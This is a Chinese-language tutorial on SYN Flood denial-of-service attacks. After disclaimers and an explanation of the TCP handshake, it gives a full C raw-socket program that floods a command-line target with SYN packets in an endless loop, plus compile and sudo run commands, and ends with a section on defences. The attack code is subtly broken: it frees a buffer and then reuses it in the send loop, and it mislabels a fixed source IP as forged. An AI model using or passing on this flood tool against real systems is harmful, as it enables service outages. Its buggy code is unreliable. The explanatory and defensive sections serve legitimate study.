在开始之前,必须强调以下几点:

(图片来源网络,侵删)
- 非法性:未经授权对任何网络设备或服务器进行SYN Flood攻击是严重违法的行为,这可能导致您的服务器被查封、个人面临高额罚款甚至刑事指控。
- 道德责任:本教程仅用于教育目的,帮助理解网络安全协议的脆弱性以及防御机制。请勿在未获得明确书面授权的情况下,对任何目标进行测试。
- 实验环境:如果您想学习和实验,必须在您自己完全控制的环境中进行,
- 两台虚拟机(一台作为攻击者,一台作为受害者),使用NAT或Host-only网络模式,确保不会影响到外部网络。
- 本地回环地址(
0.0.1)。
什么是SYN Flood攻击?
要理解攻击,首先要明白正常的TCP三次握手过程:
- SYN (同步):客户端发送一个SYN包到服务器,请求建立连接。
- SYN-ACK (同步-确认):服务器收到SYN后,回复一个SYN-ACK包,表示“我收到了你的请求,也准备好连接了”。
- ACK (确认):客户端收到SYN-ACK后,再发送一个ACK包给服务器,至此,连接建立成功,双方可以开始传输数据。
SYN Flood攻击的核心思想就是破坏这个过程。
攻击者会伪造大量的源IP地址,向目标服务器发送大量的SYN包,服务器收到这些SYN包后,会认为有合法的客户端请求连接,于是它会:
- 分配系统资源(如内存、TCB控制块)来处理这个半开连接。
- 回复一个SYN-ACK包,并等待客户端的最终ACK确认。
由于攻击者伪造了源IP,这个SYN-ACK包将永远等不到客户端的ACK回复(因为真实的IP地址并没有发起请求),这些“半开连接”会一直占用服务器的资源,直到超时被系统丢弃,当服务器半开连接队列被这些虚假的请求塞满后,它就无法再响应任何合法的客户端请求,从而导致服务拒绝。

(图片来源网络,侵删)
C语言实现原理
在C语言中,我们可以使用原始套接字(Raw Socket)来构造和发送自定义的IP和TCP数据包,原始套接字允许我们绕过操作系统的协议栈,直接构造网络层(IP)和传输层(TCP)的头部。
实现步骤如下:
- 创建原始套接字:需要管理员/root权限。
- 构造IP头部:填充源IP、目的IP、协议类型(TCP)等信息。
- 构造TCP头部:这是关键部分,设置SYN标志位(
TH_SYN),并伪造源端口号和序列号。 - 计算校验和:IP头部和TCP头部都有校验和字段,必须正确计算,否则路由器或目标主机会直接丢弃数据包。
- 发送数据包:使用
sendto()函数将构造好的数据包发送出去。 - 关闭套接字。
C语言代码示例
以下是一个简化的SYN Flood攻击程序示例。请务必在隔离的实验环境中运行此代码。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h> // For IP header
#include <netinet/tcp.h> // For TCP header
#include <arpa/inet.h> // For inet_addr()
#include <errno.h>
// 校验和计算函数 (RFC 1071)
unsigned short checksum(unsigned short *addr, int len) {
long sum = 0;
while (len > 1) {
sum += *addr++;
len -= 2;
}
if (len == 1) {
sum += *(unsigned char *)addr;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (unsigned short)(~sum);
}
void syn_flood(const char *target_ip, int target_port) {
int s;
struct sockaddr_in sin;
char *packet;
struct iphdr *ip_header;
struct tcphdr *tcp_header;
// 1. 创建原始套接字 (需要root权限)
s = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (s < 0) {
perror("socket() error");
exit(EXIT_FAILURE);
}
// 设置目标地址
sin.sin_family = AF_INET;
sin.sin_port = htons(target_port);
sin.sin_addr.s_addr = inet_addr(target_ip);
// 分配内存用于存放整个数据包 (IP头 + TCP头)
// IP头 (20字节) + TCP头 (20字节)
packet = malloc(sizeof(struct iphdr) + sizeof(struct tcphdr));
if (!packet) {
perror("malloc() error");
close(s);
exit(EXIT_FAILURE);
}
// 2. 构造IP头部
ip_header = (struct iphdr *)packet;
ip_header->ihl = 5; // IP头部长度 (5 * 4 = 20字节)
ip_header->version = 4;
ip_header->tos = 0;
ip_header->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); // 总长度
ip_header->id = htons(random()); // 随机ID
ip_header->frag_off = 0;
ip_header->ttl = 255; // 生存时间
ip_header->protocol = IPPROTO_TCP; // 上层协议是TCP
ip_header->check = 0; // 先置0,后面计算
ip_header->saddr = inet_addr("192.168.1.100"); // 伪造的源IP (请替换为你的IP)
ip_header->daddr = sin.sin_addr.s_addr; // 目标IP
// 3. 构造TCP头部
tcp_header = (struct tcphdr *)(packet + sizeof(struct iphdr));
tcp_header->source = htons(random() % 65535); // 伪造的源端口
tcp_header->dest = sin.sin_port; // 目标端口
tcp_header->seq = random(); // 伪造的序列号
tcp_header->ack_seq = 0;
tcp_header->doff = 5; // TCP头部长度 (5 * 4 = 20字节)
tcp_header->fin = 0;
tcp_header->syn = 1; // **关键:设置SYN标志位**
tcp_header->rst = 0;
tcp_header->psh = 0;
tcp_header->ack = 0;
tcp_header->urg = 0;
tcp_header->window = htons(5840); // 窗口大小
tcp_header->check = 0; // 先置0,后面计算
tcp_header->urg_ptr = 0;
// 4. 计算并设置校验和
// 伪头部用于计算TCP校验和
struct pseudo_header {
unsigned long saddr;
unsigned long daddr;
unsigned char zero;
unsigned char protocol;
unsigned short tcp_len;
} psh;
psh.saddr = ip_header->saddr;
psh.daddr = ip_header->daddr;
psh.zero = 0;
psh.protocol = IPPROTO_TCP;
psh.tcp_len = htons(sizeof(struct tcphdr));
// 计算TCP校验和
int tcp_len = sizeof(struct tcphdr);
char *tcp_checksum_buf = malloc(sizeof(struct pseudo_header) + tcp_len);
memcpy(tcp_checksum_buf, &psh, sizeof(struct pseudo_header));
memcpy(tcp_checksum_buf + sizeof(struct pseudo_header), tcp_header, tcp_len);
tcp_header->check = checksum((unsigned short *)tcp_checksum_buf, sizeof(struct pseudo_header) + tcp_len);
free(tcp_checksum_buf);
// 计算IP校验和
ip_header->check = checksum((unsigned short *)ip_header, sizeof(struct iphdr));
printf("Starting SYN flood attack on %s:%d...\n", target_ip, target_port);
// 5. 发送数据包 (循环发送)
int sent_count = 0;
while (1) {
// 每次发送前,更新IP ID和TCP序列号/端口,以增加数据包的随机性
ip_header->id = htons(random());
tcp_header->seq = random();
tcp_header->source = htons(random() % 65535);
// 重新计算校验和
ip_header->check = 0;
ip_header->check = checksum((unsigned short *)ip_header, sizeof(struct iphdr));
tcp_header->check = 0;
memcpy(tcp_checksum_buf, &psh, sizeof(struct pseudo_header));
memcpy(tcp_checksum_buf + sizeof(struct pseudo_header), tcp_header, tcp_len);
tcp_header->check = checksum((unsigned short *)tcp_checksum_buf, sizeof(struct pseudo_header) + tcp_len);
if (sendto(s, packet, ip_header->tot_len, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
if (errno == EACCES) {
fprintf(stderr, "Permission denied. Try running as root.\n");
} else {
perror("sendto() error");
}
break;
}
sent_count++;
if (sent_count % 1000 == 0) {
printf("Sent %d packets...\n", sent_count);
}
}
// 6. 清理
free(packet);
close(s);
}
int main(int argc, char *argv[]) {
if (argc != 3) {
fprintf(stderr, "Usage: %s <target_ip> <target_port>\n", argv[0]);
return EXIT_FAILURE;
}
syn_flood(argv[1], atoi(argv[2]));
return EXIT_SUCCESS;
}
如何编译和运行
- 保存代码:将上述代码保存为
synflood.c。 - 编译:打开终端,使用
gcc进行编译,需要链接libpcap(虽然这个例子没用,但编译时加上无妨)和一些基本库。gcc synflood.c -o synflood
- 运行:由于使用了原始套接字,必须使用
root权限运行。sudo ./synflood <目标IP> <目标端口>
sudo ./synflood 192.168.1.101 80
(图片来源网络,侵删)
在另一台机器上监听:你可以使用 tcpdump 来观察目标机器是否收到了大量的SYN包。
sudo tcpdump -i any -nn 'tcp[tcpflags] == tcp-syn'
防御SYN Flood攻击
了解攻击是为了更好地防御,现代操作系统和网络设备都有多种防御机制:
- SYN Cookies:这是最有效的防御方法之一,当服务器收到SYN请求时,它不立即分配资源,而是利用客户端和服务器的信息(如源IP、端口、时间戳等)生成一个加密的“cookie”作为SYN-ACK的序列号发回,如果客户端是真实有效的,它会返回这个序列号+1,服务器收到后,用同样的算法验证cookie的有效性,如果正确,才建立连接,这完全避免了半开连接队列的耗尽问题。
- 增加TCP半连接队列大小:通过调整内核参数(如
net.ipv4.tcp_max_syn_backlog)来增加队列容量,但这只是治标不治本,面对海量攻击依然会失效。 - 超时重设:缩短SYN-ACK的重传超时时间(
net.ipv4.tcp_synack_retries),让无效的半开连接更快地被系统回收。 - 网关/防火墙过滤:
- SYN代理:防火墙自己先与客户端完成三次握手,成功后再与服务器建立连接。
- 速率限制:防火墙限制来自同一IP地址在单位时间内的SYN请求数量。
- 连接追踪:现代防火墙(如Linux的
conntrack)可以识别并丢弃异常的连接模式。
通过C语言和原始套接字,我们可以深入理解网络协议的底层工作原理,并模拟出SYN Flood攻击,必须再次强调,这项技术拥有巨大的破坏力,绝对不能用于任何非法用途,理解它,是为了构建更安全的网络环境,而不是去攻击它,希望这个教程能对您的网络安全学习有所帮助。
